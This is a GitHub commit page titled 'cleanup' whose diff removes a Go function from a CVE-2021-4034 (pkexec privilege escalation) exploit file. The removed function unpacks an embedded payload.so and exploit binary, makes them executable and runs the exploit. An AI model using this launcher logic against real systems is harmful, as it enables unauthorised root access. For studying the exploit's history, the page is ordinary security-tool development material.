Skip to content

Commit

Permalink
cleanup
Browse files Browse the repository at this point in the history
  • Loading branch information
jm33-m0 committed Jan 29, 2022
1 parent 3e81b33 commit 8753b6f
Show file tree
Hide file tree
Showing 3 changed files with 5 additions and 43 deletions.
34 changes: 0 additions & 34 deletions CVE-2021-4034.go
Original file line number Diff line number Diff line change
Expand Up @@ -103,37 +103,3 @@ func CVE_2021_4034() (err error) {

return fmt.Errorf("execve: %v", err)
}

// extract exploit binary and execute
func blasty_vs_pkexec() (err error) {
// prepare payload.so
data, err := ExtractFileFromString(so_data)
if err != nil {
return
}
// write payload.so
if len(data) == 0 {
return fmt.Errorf("Failed to decompress payload.so")
}
err = ioutil.WriteFile("payload.so", data, 0777)
if err != nil {
return fmt.Errorf("write payload.so: %v", err)
}

// just run blasty's exploit
data, err = ExtractFileFromString(exp_data)
if err != nil {
return fmt.Errorf("Extract exp_data: %v", err)
}
err = ioutil.WriteFile("pkexec-lpe", data, 0777)
if err != nil {
return fmt.Errorf("write pkexec-lpe: %v", err)
}
cmd := exec.Command("./pkexec-lpe")
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("%s: %v", out, err)
}

return
}
Loading

0 comments on commit 8753b6f

Please sign in to comment.